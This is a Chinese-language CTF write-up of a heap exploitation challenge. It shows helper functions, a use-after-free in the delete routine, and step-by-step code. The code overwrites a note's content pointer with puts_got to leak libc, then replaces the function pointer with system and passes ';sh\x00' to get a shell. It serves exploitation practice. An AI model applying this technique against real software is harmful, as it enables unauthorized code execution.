image-20240229225723024

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def add(size,content):
rl("Your choice :")
sl('1')
rl("Note size :")
sl(str(size))
rl("Content :")
sl(content)
def delete(index):
rl("Your choice :")
sl('2')
rl("Index :")
sl(str(index))
def show(index):
rl("Your choice :")
sl('3')
rl("Index :")
sl(str(index))

三个功能,漏洞点在delete函数,存在UAF

image-20240229225929918

思路

先add三次堆块

1
2
3
add(0x10,'a')
add(0x8,'b')
add(0x10,'c')

image-20240229230301888

可以发现add的堆块,会分配0x10大小的堆块来管理content堆块

1
2
3
0x00000000      0x00000011
puts函数地址 content堆块data地址
0x0804862b 0x08a5c018

delete的话,也是将这两个堆块都free掉,先free掉content堆块,再free掉管理的chunk

那么首先想要泄露libc的话,我们只需要利用chunk中保存的puts函数地址,想办法将content堆块地址替换为puts_got表地址,那么再利用printf功能,即可泄露Libc。

既然我们想要能够修改管理chunk的部分,那么就需要申请到这个chunk,并且这个chunk是被当作content堆块申请出来的。

1
2
3
delete(0)
delete(1)
delete(2)

image-20240229231520529

可以看到,这样的话,我们申请的一次堆块,就会把0x8a5c048这个当作管理chunk,0x8a5c028这个当作content堆块。

但是0x8a5c028这个堆块原本是add1的管理chunk,所以可以修改这个管理chunk,puts函数地址不用修改,将这个管理chunk保存的content堆块指针修改为puts_got。

1
2
add(0x8,p32(0x804862B)+p32(puts_got))
show(1)

接下来就是想办法触发system(‘/bin/sh\x00’)。

既然add1的管理chunk被当作content堆块使用,那么我们就将其delete掉,然后重新申请出来,然后修改原来的puts函数为system函数,把puts+4改为’/bin/sh\x00’。那么这样就能触发了。

但是仔细观察printf函数中调用puts函数的步骤。

image-20240229232400354

image-20240229232612151

地址其实是这个chunk的地址,那么我们填到堆块中的就不能是binsh的addr了,直接填上’;sh\x00’。';'的作用是用来截断system()中的其他参数,那么这样还是会执行system(‘sh\x00’)。

image-20240229232819755